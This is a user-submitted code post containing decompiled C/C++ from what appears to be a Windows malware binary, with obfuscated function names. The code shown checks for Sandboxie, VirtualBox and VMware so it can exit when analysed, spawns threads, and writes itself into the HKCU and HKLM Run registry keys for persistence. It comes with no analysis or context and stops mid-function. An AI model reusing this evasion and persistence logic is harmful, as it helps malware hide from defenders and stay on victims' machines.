Ask Question

Name:
Title:
Your Question:

Answer Question

Name:
Your Answer:
User Submitted Source Code!


Description:
  s
Language: C/C++
Code:

void** QZD54QZ984FD9Q4QZQZD_401289(void** ecx, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7, void** a8, void** a9, void** a10, void** a11, void** a12, void** a13, void** a14, void** a15, void** a16, void** a17, void** a18, void** a19, void** a20, void** a21, void** a22, void** a23, void** a24, void** a25, void** a26, void** a27, void** a28, void** a29, void** a30, void** a31, void** a32, void** a33, void** a34, void** a35, void** a36, ...);

/*
 * [email protected][email protected][email protected]@[email protected]@[email protected]@[email protected]@[email protected]@QBEPBDXZ
 * public: char const * __thiscall std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> >::data(void)const
 */
int32_t data_basic_string_DU_char_traits_D_std_V_allocator_D_2_std_QBEPBDXZ = 0x12bd2;

signed char QZD54QZ984FD9Q4QZQZD_4010f1(void** ecx);

void QZD54QZ984FD9Q4QZQZD_401234(void** ecx, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7, void** a8, void** a9, void** a10, void** a11, void** a12, void** a13, void** a14, void** a15, void** a16, void** a17, void** a18, void** a19, void** a20, void** a21, void** a22, void** a23, void** a24, void** a25, void** a26, void** a27, void** a28, void** a29, void** a30);

signed char QZD54QZ984FD9Q4QZQZD_401102(void** ecx);

unsigned char QZD54QZ984FD9Q4QZQZD_401178(void** ecx);

unsigned char QZD54QZ984FD9Q4QZQZD_4011a3(void** ecx);

int32_t CreateThread = 0x12208;

int32_t QZD54QZ984FD9Q4QZQZD_401000(void** ecx, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7, void** a8, void** a9, void** a10, void** a11, void** a12, void** a13, void** a14, void** a15, void** a16, void** a17, void** a18, void** a19, void** a20, void** a21, void** a22, void** a23, void** a24, void** a25, void** a26, void** a27, void** a28, void** a29, void** a30, void** a31) {
    void** edi32;
    void** esi33;
    void** ebx34;
    void** eax35;
    signed char* eax36;
    signed char al37;
    void** eax38;
    signed char* eax39;
    signed char al40;
    void** eax41;
    signed char* eax42;
    unsigned char al43;
    void** eax44;
    signed char* eax45;
    unsigned char al46;
    void** eax47;
    signed char* eax48;
    void** eax49;
    signed char* eax50;

    eax35 = QZD54QZ984FD9Q4QZQZD_401289(0x415940, 28, edi32, esi33, ebx34, __return_address(), a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15, a16, a17, a18, a19, a20, a21, a22, a23, a24, a25, a26, a27, a28, a29, a30, a31);
    eax36 = reinterpret_cast<signed char*>(data_basic_string_DU_char_traits_D_std_V_allocator_D_2_std_QBEPBDXZ(eax35));
    if (*eax36 == 1 && (al37 = QZD54QZ984FD9Q4QZQZD_4010f1(eax35), !!al37)) {
        QZD54QZ984FD9Q4QZQZD_401234(eax35, 1, edi32, esi33, ebx34, __return_address(), a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15, a16, a17, a18, a19, a20, a21, a22, a23, a24, a25);
    }
    eax38 = QZD54QZ984FD9Q4QZQZD_401289(0x415940, 29, edi32, esi33, ebx34, __return_address(), a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15, a16, a17, a18, a19, a20, a21, a22, a23, a24, a25, a26, a27, a28, a29, a30, a31);
    eax39 = reinterpret_cast<signed char*>(data_basic_string_DU_char_traits_D_std_V_allocator_D_2_std_QBEPBDXZ(eax38));
    if (*eax39 == 1 && (al40 = QZD54QZ984FD9Q4QZQZD_401102(eax38), !!al40)) {
        QZD54QZ984FD9Q4QZQZD_401234(eax38, 1, edi32, esi33, ebx34, __return_address(), a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15, a16, a17, a18, a19, a20, a21, a22, a23, a24, a25);
    }
    eax41 = QZD54QZ984FD9Q4QZQZD_401289(0x415940, 31, edi32, esi33, ebx34, __return_address(), a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15, a16, a17, a18, a19, a20, a21, a22, a23, a24, a25, a26, a27, a28, a29, a30, a31);
    eax42 = reinterpret_cast<signed char*>(data_basic_string_DU_char_traits_D_std_V_allocator_D_2_std_QBEPBDXZ(eax41));
    if (*eax42 == 1 && (al43 = QZD54QZ984FD9Q4QZQZD_401178(eax41), !!al43)) {
        QZD54QZ984FD9Q4QZQZD_401234(eax41, 1, edi32, esi33, ebx34, __return_address(), a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15, a16, a17, a18, a19, a20, a21, a22, a23, a24, a25);
    }
    eax44 = QZD54QZ984FD9Q4QZQZD_401289(0x415940, 32, edi32, esi33, ebx34, __return_address(), a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15, a16, a17, a18, a19, a20, a21, a22, a23, a24, a25, a26, a27, a28, a29, a30, a31);
    eax45 = reinterpret_cast<signed char*>(data_basic_string_DU_char_traits_D_std_V_allocator_D_2_std_QBEPBDXZ(eax44));
    if (*eax45 == 1 && (al46 = QZD54QZ984FD9Q4QZQZD_4011a3(eax44), !!al46)) {
        QZD54QZ984FD9Q4QZQZD_401234(eax44, 1, edi32, esi33, ebx34, __return_address(), a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15, a16, a17, a18, a19, a20, a21, a22, a23, a24, a25);
    }
    eax47 = QZD54QZ984FD9Q4QZQZD_401289(0x415940, 33, edi32, esi33, ebx34, __return_address(), a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15, a16, a17, a18, a19, a20, a21, a22, a23, a24, a25, a26, a27, a28, a29, a30, a31);
    eax48 = reinterpret_cast<signed char*>(data_basic_string_DU_char_traits_D_std_V_allocator_D_2_std_QBEPBDXZ(eax47));
    if (*eax48 == 1) {
        CreateThread(eax47, 0, 0, 0x4011f8, 0, 0, 0);
    }
    eax49 = QZD54QZ984FD9Q4QZQZD_401289(0x415940, 34, edi32, esi33, ebx34, __return_address(), a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15, a16, a17, a18, a19, a20, a21, a22, a23, a24, a25, a26, a27, a28, a29, a30, a31);
    eax50 = reinterpret_cast<signed char*>(data_basic_string_DU_char_traits_D_std_V_allocator_D_2_std_QBEPBDXZ(eax49));
    if (*eax50 == 1) {
        CreateThread(eax49, 0, 0, 0x401216, 0, 0, 0);
    }
    return 0;
}

void** QZD54QZ984FD9Q4QZQZD_4012b5(void** ecx, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7, void** a8, void** a9, void** a10, void** a11, void** a12, void** a13);

void QZD54QZ984FD9Q4QZQZD_4012c8(void** ecx, void** a2, void** a3, void** a4, void** a5, void** a6);

void** QZD54QZ984FD9Q4QZQZD_408633(void** ecx, void** a2, void** a3, void** a4);

void** QZD54QZ984FD9Q4QZQZD_401289(void** ecx, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7, void** a8, void** a9, void** a10, void** a11, void** a12, void** a13, void** a14, void** a15, void** a16, void** a17, void** a18, void** a19, void** a20, void** a21, void** a22, void** a23, void** a24, void** a25, void** a26, void** a27, void** a28, void** a29, void** a30, void** a31, void** a32, void** a33, void** a34, void** a35, void** a36, ...) {
    void** edi37;
    void** esi38;
    void** ebp39;
    void** eax40;
    void** eax41;

    eax40 = QZD54QZ984FD9Q4QZQZD_4012b5(ecx, edi37, esi38, ebp39, __return_address(), a2, a3, a4, a5, a6, a7, a8, a9);
    if (reinterpret_cast<unsigned char>(eax40) <= reinterpret_cast<unsigned char>(a2)) {
        QZD54QZ984FD9Q4QZQZD_4012c8(ecx, edi37, esi38, ebp39, __return_address(), a2);
    }
    eax41 = QZD54QZ984FD9Q4QZQZD_408633(ecx, edi37, esi38, ebp39);
    return reinterpret_cast<unsigned char>(eax41) + (reinterpret_cast<unsigned char>(a2) << 4);
}

int32_t GetModuleHandleA = 0x12218;

signed char QZD54QZ984FD9Q4QZQZD_4010f1(void** ecx) {
    GetModuleHandleA();
    goto "SbieDll.dll";
}

/*
 * [email protected]@[email protected][email protected]@[email protected]@[email protected]@[email protected]@[email protected]@Z
 * bool __cdecl std::operator==(class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > const &,char const *)
 */
int32_t _8std_YA_NABV_basic_string_DU_char_traits_D_std_V_allocator_D_2_0_PBD_Z = 0x12c20;

int32_t exit = 0x14640;

void QZD54QZ984FD9Q4QZQZD_406988(void** ecx, void** a2);

void QZD54QZ984FD9Q4QZQZD_401234(void** ecx, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7, void** a8, void** a9, void** a10, void** a11, void** a12, void** a13, void** a14, void** a15, void** a16, void** a17, void** a18, void** a19, void** a20, void** a21, void** a22, void** a23, void** a24, void** a25, void** a26, void** a27, void** a28, void** a29, void** a30) {
    void** edi31;
    void** esi32;
    void** ebp33;
    int32_t esi34;
    signed char al35;
    signed char al36;

    if (a2) {
        QZD54QZ984FD9Q4QZQZD_401289(0x415940, 47, "1", edi31, esi32, ebp33, __return_address(), a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15, a16, a17, a18, a19, a20, a21, a22, a23, a24, a25, a26, a27, a28, a29, a30);
        esi34 = _8std_YA_NABV_basic_string_DU_char_traits_D_std_V_allocator_D_2_0_PBD_Z;
        al35 = reinterpret_cast<signed char>(esi34(0x415940));
        if (al35) {
            exit("1", 2);
        }
        QZD54QZ984FD9Q4QZQZD_401289(0x415940, 47, "2", edi31, esi32, ebp33, __return_address(), a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15, a16, a17, a18, a19, a20, a21, a22, a23, a24, a25, a26, a27, a28, a29, a30);
        al36 = reinterpret_cast<signed char>(esi34(0x415940));
        if (al36) {
            QZD54QZ984FD9Q4QZQZD_406988("2", edi31);
        }
    }
    return;
}

void** g0;

signed char QZD54QZ984FD9Q4QZQZD_401102(void** ecx) {
    void** eax2;

    eax2 = g0;
    g0 = reinterpret_cast<void**>(reinterpret_cast<int32_t>(__zero_stack_offset()) - 4 - 4 - 4 - 4 - 4);
    __asm__("in eax, dx");
    g0 = eax2;
    return 0;
}

int32_t RegOpenKeyExA = 0x12a52;

unsigned char QZD54QZ984FD9Q4QZQZD_401178(void** ecx) {
    int32_t eax2;
    int32_t eax3;

    eax2 = reinterpret_cast<int32_t>(RegOpenKeyExA(0x80000002, "HARDWARE\\ACPI\\DSDT\\VBOX__", 0, 0x20019, reinterpret_cast<int32_t>(__zero_stack_offset()) - 4 - 4));
    eax3 = -eax2;
    return reinterpret_cast<unsigned char>(*reinterpret_cast<unsigned char*>(&eax3) - reinterpret_cast<unsigned char>(*reinterpret_cast<unsigned char*>(&eax3) + reinterpret_cast<uint1_t>(*reinterpret_cast<unsigned char*>(&eax3) < reinterpret_cast<unsigned char>(*reinterpret_cast<unsigned char*>(&eax3) + reinterpret_cast<uint1_t>(!!eax2))))) + 1;
}

struct s0 {
    signed char[104] pad104;
    int32_t f104;
};

struct s0* g30;

unsigned char QZD54QZ984FD9Q4QZQZD_4011a3(void** ecx) {
    struct s0* eax2;
    int32_t v3;

    eax2 = g30;
    if (eax2->f104 == 0x70) {
        v3 = 1;
    } else {
        v3 = 0;
    }
    return static_cast<unsigned char>(reinterpret_cast<uint1_t>(!!v3));
}

signed char g4156f8 = 0;

void QZD54QZ984FD9Q4QZQZD_40524e(void** ecx, void** a2, void** a3, void** a4);

signed char g415b64 = 0;

int32_t QZD54QZ984FD9Q4QZQZD_40e4ab(void** ecx, void** a2, void** a3, void** a4);

unsigned char g415808 = 0;

/*
 * [email protected][email protected][email protected]@[email protected]@[email protected]@[email protected]@[email protected]@QBEPBDXZ
 * public: char const * __thiscall std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> >::c_str(void)const
 */
int32_t c_str_basic_string_DU_char_traits_D_std_V_allocator_D_2_std_QBEPBDXZ = 0x12e3a;

signed char QZD54QZ984FD9Q4QZQZD_409132(void** ecx, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7, void** a8, void** a9, void** a10, void** a11, void** a12, void** a13, void** a14);

unsigned char g415911 = 0;

unsigned char g415910 = 0;

/*
 * [email protected][email protected]@[email protected]@[email protected]@[email protected]@[email protected]@[email protected][email protected]@[email protected]@Z
 * public: __thiscall std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> >::basic_string<char,struct std::char_traits<char>,class std::allocator<char> >(char const *,class std::allocator<char> const &)
 */
int32_t _0_basic_string_DU_char_traits_D_std_V_allocator_D_2_std_QAE_PBDABV_allocator_D_1_Z = 0x12d34;

signed char QZD54QZ984FD9Q4QZQZD_408fda(void** ecx, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7, void** a8, void** a9, void** a10, void** a11, void** a12, void** a13, void** a14, void** a15, void** a16, void** a17);

unsigned char g4157e0 = 0;

unsigned char g4157c8 = 0;

/*
 * [email protected][email protected][email protected]@[email protected]@[email protected]@[email protected]@[email protected]@QBEIXZ
 * public: unsigned int __thiscall std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> >::size(void)const
 */
int32_t size_basic_string_DU_char_traits_D_std_V_allocator_D_2_std_QBEIXZ = 0x13286;

signed char QZD54QZ984FD9Q4QZQZD_408f64(int32_t ecx, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7, void** a8, void** a9, void** a10);

int32_t RegDeleteKeyA = 0x12a62;

int32_t GetModuleFileNameA = 0x123d8;

int32_t getenv = 0x14728;

void** QZD54QZ984FD9Q4QZQZD_40fc20(void** a1, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7, void** a8, void** a9, void** a10, void** a11, void** a12, void** a13, void** a14, void** a15, void** a16, void** a17, void** a18, void** a19, void** a20, void** a21, void** a22, void** a23, void** a24, void** a25, void** a26, void** a27, void** a28, void** a29, void** a30, void** a31, void** a32, void** a33, void** a34, void** a35, void** a36, void** a37, void** a38, void** a39, ...);

/*
 * [email protected][email protected]@[email protected]@[email protected]@[email protected]@[email protected]@[email protected]
 * public: __thiscall std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> >::~basic_string<char,struct std::char_traits<char>,class std::allocator<char> >(void)
 */
int32_t _1_basic_string_DU_char_traits_D_std_V_allocator_D_2_std_QAE_XZ = 0x12df0;

/*
 * [email protected]@[email protected][email protected]@[email protected]@[email protected]@[email protected]@[email protected]@Z
 * bool __cdecl std::operator!=(class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > const &,char const *)
 */
int32_t _9std_YA_NABV_basic_string_DU_char_traits_D_std_V_allocator_D_2_0_PBD_Z = 0x13414;

void** SetFileAttributesA = reinterpret_cast<void**>(0xd8);

/*
 * [email protected][email protected]@[email protected]@@[email protected]@[email protected]@Z
 * public: __thiscall std::basic_ofstream<char,struct std::char_traits<char> >::basic_ofstream<char,struct std::char_traits<char> >(char const *,int)
 */
int32_t _0_basic_ofstream_DU_char_traits_D_std_std_QAE_PBDH_Z = 0x13baa;

/*
 * [email protected][email protected][email protected]@[email protected]@@[email protected]@QBE_NXZ
 * public: bool __thiscall std::basic_ofstream<char,struct std::char_traits<char> >::is_open(void)const
 */
int32_t is_open_basic_ofstream_DU_char_traits_D_std_std_QBE_NXZ = 0x13b68;

/*
 * [email protected]@[email protected][email protected]@[email protected]@@[email protected]@[email protected]
 * class std::basic_ostream<char,struct std::char_traits<char> > & __cdecl std::operator<<(class std::basic_ostream<char,struct std::char_traits<char> > &,char const *)
 */
void** _6std_YAAAV_basic_ostream_DU_char_traits_D_std_0_AAV10_PBD_Z = reinterpret_cast<void**>(0xe6);

void** QZD54QZ984FD9Q4QZQZD_40fc1a(void** ecx, void* a2, void* a3, void** a4, void** a5, void** a6, void** a7, void** a8, void** a9, void** a10, void** a11, void** a12, void** a13, void** a14, void** a15, void** a16, void** a17, ...);

void QZD54QZ984FD9Q4QZQZD_40fc4a(void** ecx, void* a2, void** a3, void** a4, void** a5, void** a6, void** a7, void** a8, void** a9, void** a10, void** a11, void** a12, void** a13, void** a14, void** a15, void** a16, void** a17, void** a18, void** a19, void** a20, void** a21, void** a22, void** a23, ...);

/*
 * [email protected][email protected][email protected]@[email protected]@@[email protected]@QAEXXZ
 * public: void __thiscall std::basic_ofstream<char,struct std::char_traits<char> >::close(void)
 */
int32_t close_basic_ofstream_DU_char_traits_D_std_std_QAEXXZ = 0x13aaa;

int32_t ShellExecuteA = 0x12b70;

/*
 * [email protected][email protected]@[email protected]@@[email protected]@QAEXXZ
 * public: void __thiscall std::basic_ofstream<char,struct std::char_traits<char> >::`vbase destructor'(void)
 */
int32_t _D_basic_ofstream_DU_char_traits_D_std_std_QAEXXZ = 0x13a6e;

void QZD54QZ984FD9Q4QZQZD_406988(void** ecx, void** a2) {
    void* esp3;
    void* ebp4;
    int1_t zf5;
    void** v6;
    void** ebx7;
    void** v8;
    void** esi9;
    void*** esp10;
    void** v11;
    void** edi12;
    int1_t zf13;
    int1_t zf14;
    void** eax15;
    void** v16;
    void** v17;
    void** v18;
    void** v19;
    void** v20;
    void** v21;
    void** v22;
    void** v23;
    void** v24;
    int1_t zf25;
    void** eax26;
    void** v27;
    void** v28;
    void** v29;
    void** v30;
    void** v31;
    void** v32;
    void** v33;
    int1_t zf34;
    void** esp35;
    void** v36;
    void** v37;
    void** v38;
    void** v39;
    void** v40;
    int1_t zf41;
    void** esp42;
    void** v43;
    void** v44;
    void** v45;
    void** v46;
    void** v47;
    int1_t zf48;
    void** eax49;
    void** v50;
    void** v51;
    void** v52;
    void** v53;
    void** v54;
    void** v55;
    void** v56;
    void** v57;
    int32_t ecx58;
    void* esp59;
    int32_t esi60;
    int32_t esi61;
    void** eax62;
    void** eax63;
    void** v64;
    void** eax65;
    signed char al66;
    void* esp67;
    void** eax68;
    void** v69;
    void** v70;
    void* esp71;
    void** v72;
    void** eax73;
    void** eax74;
    void** v75;
    void** v76;
    void** v77;
    void** v78;
    void** v79;
    void** v80;
    void** v81;
    void** v82;
    void** v83;
    void** v84;
    void** v85;
    void** v86;
    void** v87;
    void** v88;
    void** v89;
    void** v90;
    void** v91;
    void** v92;
    void** v93;
    void** v94;
    void** v95;
    void** v96;
    void** v97;
    void** v98;
    void** v99;
    void** v100;
    void** v101;
    void** v102;
    void** v103;
    int32_t v104;
    int32_t v105;
    int32_t v106;
    int32_t v107;
    int32_t v108;
    int32_t v109;
    int32_t v110;
    int32_t v111;
    int32_t v112;
    int32_t v113;
    int32_t v114;
    int32_t v115;
    int32_t v116;
    int32_t v117;
    int32_t v118;
    int32_t v119;
    int32_t v120;
    int32_t v121;
    int32_t v122;
    int32_t v123;
    int32_t v124;
    int32_t v125;
    int32_t v126;
    int32_t v127;
    int32_t v128;
    int32_t v129;
    int32_t v130;
    int32_t v131;
    void* ecx132;
    unsigned char v133;
    signed char al134;
    void** ebx135;
    int32_t ecx136;
    void* esp137;
    int32_t eax138;
    void** v139;
    int32_t eax140;
    void** eax141;
    void** ecx142;
    signed char al143;
    void* esp144;
    void** v145;
    void** ecx146;
    void** v147;
    void** eax148;
    void* v149;
    void** eax150;
    void** v151;
    void** v152;
    void** v153;
    void** v154;
    void** v155;
    void** v156;
    void** v157;
    void** v158;
    void** v159;
    void** v160;
    void** v161;
    void** v162;
    void** v163;
    void** v164;
    void** v165;
    void** v166;
    void** v167;
    void** v168;
    void** v169;
    void** v170;
    void** v171;
    void** v172;
    int32_t v173;
    int32_t v174;
    int32_t v175;
    int32_t v176;
    int32_t v177;
    int32_t v178;
    int32_t v179;
    int32_t v180;
    int32_t v181;
    int32_t v182;
    int32_t v183;
    int32_t v184;
    int32_t v185;
    int32_t v186;
    int32_t v187;
    int32_t v188;
    int32_t v189;
    int32_t v190;
    int32_t v191;
    int32_t v192;
    int32_t v193;
    void** eax194;
    void* v195;
    void** v196;
    void** v197;
    int32_t v198;
    int32_t v199;
    void* ecx200;
    void* esp201;
    void** v202;
    void** v203;
    void** ecx204;
    void** eax205;
    void* v206;
    void** eax207;
    void** v208;
    void** v209;
    void** v210;
    void** v211;
    void** v212;
    void** v213;
    void** v214;
    void** v215;
    void** v216;
    void** v217;
    void** v218;
    void** v219;
    void** v220;
    void** v221;
    void** v222;
    void** v223;
    void** v224;
    void** v225;
    void** v226;
    void** v227;
    int32_t v228;
    int32_t v229;
    int32_t v230;
    int32_t v231;
    int32_t v232;
    int32_t v233;
    int32_t v234;
    int32_t v235;
    int32_t v236;
    int32_t v237;
    int32_t v238;
    int32_t v239;
    int32_t v240;
    int32_t v241;
    int32_t v242;
    int32_t v243;
    int32_t v244;
    int32_t v245;
    int32_t v246;
    void** eax247;
    signed char al248;
    void** ecx249;
    void* esp250;
    void* v251;
    void** eax252;
    void** v253;
    void** v254;
    void** v255;
    void** v256;
    void** v257;
    void** v258;
    void** v259;
    void** v260;
    void** v261;
    void** v262;
    void** v263;
    void** v264;
    void** v265;
    void** v266;
    void** v267;
    void** v268;
    void** v269;
    void** v270;
    void** v271;
    void** v272;
    void** v273;
    void** v274;
    int32_t v275;
    int32_t v276;
    int32_t v277;
    int32_t v278;
    int32_t v279;
    int32_t v280;
    int32_t v281;
    int32_t v282;
    int32_t v283;
    int32_t v284;
    int32_t v285;
    int32_t v286;
    int32_t v287;
    int32_t v288;
    int32_t v289;
    int32_t v290;
    int32_t v291;
    int32_t v292;
    int32_t v293;
    int32_t v294;
    int32_t v295;
    void** eax296;
    void* v297;
    void** v298;
    void** v299;
    int32_t v300;
    int32_t v301;
    void* v302;
    int32_t eax303;
    void* esp304;
    int1_t zf305;
    void* esp306;
    int1_t zf307;
    int1_t zf308;
    void** eax309;
    void** v310;
    void** v311;
    void** v312;
    void** v313;
    void** v314;
    void** v315;
    void** v316;
    void** v317;
    void** v318;
    int1_t zf319;
    void** eax320;
    void** v321;
    void** v322;
    void** v323;
    void** v324;
    void** v325;
    void** v326;
    void** v327;
    int1_t zf328;
    void** esp329;
    void** v330;
    void** v331;
    void** v332;
    void** v333;
    void** v334;
    int1_t zf335;
    void** ecx336;
    void** v337;
    void** v338;
    void** v339;
    void** v340;
    void** v341;
    int1_t zf342;
    void** eax343;
    void** v344;
    void** v345;
    void** v346;
    void** v347;
    void** v348;
    void** v349;
    void** v350;
    void** eax351;
    void** eax352;
    void** v353;
    void** eax354;
    signed char al355;
    void** eax356;
    void** v357;
    void** v358;
    void** esi359;
    void** v360;
    unsigned char v361;
    int32_t eax362;
    signed char al363;
    int32_t ecx364;
    int32_t eax365;
    void** v366;
    void** eax367;
    void** eax368;
    void** v369;
    void** v370;
    void** v371;
    void** v372;
    void** v373;
    void** v374;
    void** v375;
    void** v376;
    void** v377;
    void** v378;
    void** v379;
    void** v380;
    void** v381;
    void** v382;
    void** v383;
    void** v384;
    void** v385;
    void** v386;
    void** v387;
    void** v388;
    void** v389;
    void** v390;
    void** v391;
    void** v392;
    void** v393;
    void** v394;
    void** v395;
    int32_t v396;
    int32_t v397;
    int32_t v398;
    int32_t v399;
    int32_t v400;
    int32_t v401;
    int32_t v402;
    int32_t v403;
    int32_t v404;
    int32_t v405;
    int32_t v406;
    int32_t v407;
    int32_t v408;
    int32_t v409;
    int32_t v410;
    int32_t v411;
    int32_t v412;
    int32_t v413;
    int32_t v414;
    int32_t v415;
    int32_t v416;
    int32_t v417;
    int32_t v418;
    int32_t v419;
    int32_t v420;
    int32_t v421;
    void** eax422;
    void** v423;
    void** v424;
    void** v425;
    void** v426;
    void** v427;
    void** v428;
    void** v429;
    void** v430;
    void** v431;
    void** v432;
    void** v433;
    void** v434;
    void** v435;
    void** v436;
    void** v437;
    void** v438;
    void** v439;
    void** v440;
    void** v441;
    void** v442;
    void** v443;
    void** v444;
    void** v445;
    void** v446;
    void** v447;
    void** v448;
    void** v449;
    void** v450;
    int32_t v451;
    int32_t v452;
    int32_t v453;
    int32_t v454;
    int32_t v455;
    int32_t v456;
    int32_t v457;
    int32_t v458;
    int32_t v459;
    int32_t v460;
    int32_t v461;
    int32_t v462;
    int32_t v463;
    int32_t v464;
    int32_t v465;
    int32_t v466;
    int32_t v467;
    int32_t v468;
    int32_t v469;
    int32_t v470;
    int32_t v471;
    int32_t v472;
    int32_t v473;
    int32_t v474;
    int32_t v475;
    int32_t v476;
    int32_t v477;
    void** eax478;
    void* ecx479;
    signed char al480;
    void** esi481;
    void** v482;
    void** ecx483;
    void** v484;
    void** eax485;
    void* v486;
    void** eax487;
    void** v488;
    void** v489;
    void** v490;
    void** v491;
    void** v492;
    void** v493;
    void** v494;
    void** v495;
    void** v496;
    void** v497;
    void** v498;
    void** v499;
    void** v500;
    void** v501;
    void** v502;
    void** v503;
    void** v504;
    void** v505;
    void** v506;
    void** v507;
    void** v508;
    void** v509;
    void** v510;
    int32_t v511;
    int32_t v512;
    int32_t v513;
    int32_t v514;
    int32_t v515;
    int32_t v516;
    int32_t v517;
    int32_t v518;
    int32_t v519;
    int32_t v520;
    int32_t v521;
    int32_t v522;
    int32_t v523;
    int32_t v524;
    int32_t v525;
    int32_t v526;
    int32_t v527;
    int32_t v528;
    int32_t v529;
    int32_t v530;
    int32_t v531;
    int32_t v532;
    void** eax533;
    void* v534;
    void** v535;
    void** v536;
    void** v537;
    int32_t v538;
    int32_t v539;
    int32_t v540;
    void* ecx541;
    void** v542;
    void** v543;
    void** ecx544;
    void** eax545;
    void* v546;
    void** eax547;
    void** v548;
    void** v549;
    void** v550;
    void** v551;
    void** v552;
    void** v553;
    void** v554;
    void** v555;
    void** v556;
    void** v557;
    void** v558;
    void** v559;
    void** v560;
    void** v561;
    void** v562;
    void** v563;
    void** v564;
    void** v565;
    void** v566;
    void** v567;
    void** v568;
    int32_t v569;
    int32_t v570;
    int32_t v571;
    int32_t v572;
    int32_t v573;
    int32_t v574;
    int32_t v575;
    int32_t v576;
    int32_t v577;
    int32_t v578;
    int32_t v579;
    int32_t v580;
    int32_t v581;
    int32_t v582;
    int32_t v583;
    int32_t v584;
    int32_t v585;
    int32_t v586;
    int32_t v587;
    int32_t v588;
    void** eax589;
    void* v590;
    void** v591;
    int32_t v592;
    signed char al593;
    void** ecx594;
    void* v595;
    void** eax596;
    void** v597;
    void** v598;
    void** v599;
    void** v600;
    void** v601;
    void** v602;
    void** v603;
    void** v604;
    void** v605;
    void** v606;
    void** v607;
    void** v608;
    void** v609;
    void** v610;
    void** v611;
    void** v612;
    void** v613;
    void** v614;
    void** v615;
    void** v616;
    void** v617;
    void** v618;
    void** v619;
    int32_t v620;
    int32_t v621;
    int32_t v622;
    int32_t v623;
    int32_t v624;
    int32_t v625;
    int32_t v626;
    int32_t v627;
    int32_t v628;
    int32_t v629;
    int32_t v630;
    int32_t v631;
    int32_t v632;
    int32_t v633;
    int32_t v634;
    int32_t v635;
    int32_t v636;
    int32_t v637;
    int32_t v638;
    int32_t v639;
    int32_t v640;
    int32_t v641;
    void** eax642;
    void* v643;
    void** v644;
    void** v645;
    void** v646;
    int32_t v647;
    int32_t v648;
    int32_t v649;
    void** v650;
    void* v651;
    void** eax652;
    void** v653;
    void** v654;
    void** v655;
    void** v656;
    void** v657;
    void** v658;
    void** v659;
    void** v660;
    void** v661;
    void** v662;
    void** v663;
    void** v664;
    void** v665;
    void** v666;
    void** v667;
    void** v668;
    void** v669;
    void** v670;
    void** v671;
    void** v672;
    void** v673;
    void** v674;
    void** v675;
    int32_t v676;
    int32_t v677;
    int32_t v678;
    int32_t v679;
    int32_t v680;
    int32_t v681;
    int32_t v682;
    int32_t v683;
    int32_t v684;
    int32_t v685;
    int32_t v686;
    int32_t v687;
    int32_t v688;
    int32_t v689;
    int32_t v690;
    int32_t v691;
    int32_t v692;
    int32_t v693;
    int32_t v694;
    int32_t v695;
    int32_t v696;
    int32_t v697;
    void** eax698;
    void* v699;
    void** v700;
    void** v701;
    void** v702;
    int32_t v703;
    int32_t v704;
    int32_t v705;
    void* ecx706;
    void* v707;
    void* ecx708;
    int32_t eax709;

    esp3 = reinterpret_cast<void*>(reinterpret_cast<int32_t>(__zero_stack_offset()) - 4);
    ebp4 = esp3;
    zf5 = g4156f8 == 1;
    v6 = ebx7;
    v8 = esi9;
    esp10 = reinterpret_cast<void***>(reinterpret_cast<int32_t>(esp3) - 0x1d4 - 4 - 4 - 4);
    v11 = edi12;
    if (zf5) {
        ecx = reinterpret_cast<void**>(0x4156c0);
        QZD54QZ984FD9Q4QZQZD_40524e(0x4156c0, v11, v8, v6);
        esp10 = esp10 - 4 + 4;
    }
    zf13 = g415b64 == 1;
    if (zf13) {
        QZD54QZ984FD9Q4QZQZD_40e4ab(ecx, v11, v8, v6);
        esp10 = esp10 - 4 + 4;
    }
    zf14 = g415808 == 1;
    if (zf14) {
        eax15 = reinterpret_cast<void**>(c_str_basic_string_DU_char_traits_D_std_V_allocator_D_2_std_QBEPBDXZ(0x4157f8, v11, v8, v6));
        v16 = reinterpret_cast<void**>(0x80000001);
        v17 = reinterpret_cast<void**>(0x4069dc);
        QZD54QZ984FD9Q4QZQZD_409132(0x4157f8, 0x80000001, "Software\\Microsoft\\Windows\\CurrentVersion\\Run\\", eax15, v11, v8, v6, v18, v19, v20, v21, v22, v23, v24);
        esp10 = esp10 - 4 + 4 - 4 - 4 - 4 - 4 + 4 + 12;
    }
    zf25 = g415911 == 1;
    if (zf25) {
        eax26 = reinterpret_cast<void**>(c_str_basic_string_DU_char_traits_D_std_V_allocator_D_2_std_QBEPBDXZ(0x4157f8, v11, v8, v6));
        v16 = reinterpret_cast<void**>(0x80000002);
        v17 = reinterpret_cast<void**>(0x4069fd);
        QZD54QZ984FD9Q4QZQZD_409132(0x4157f8, 0x80000002, "Software\\Microsoft\\Windows\\CurrentVersion\\Run\\", eax26, v11, v8, v6, v27, v28, v29, v30, v31, v32, v33);
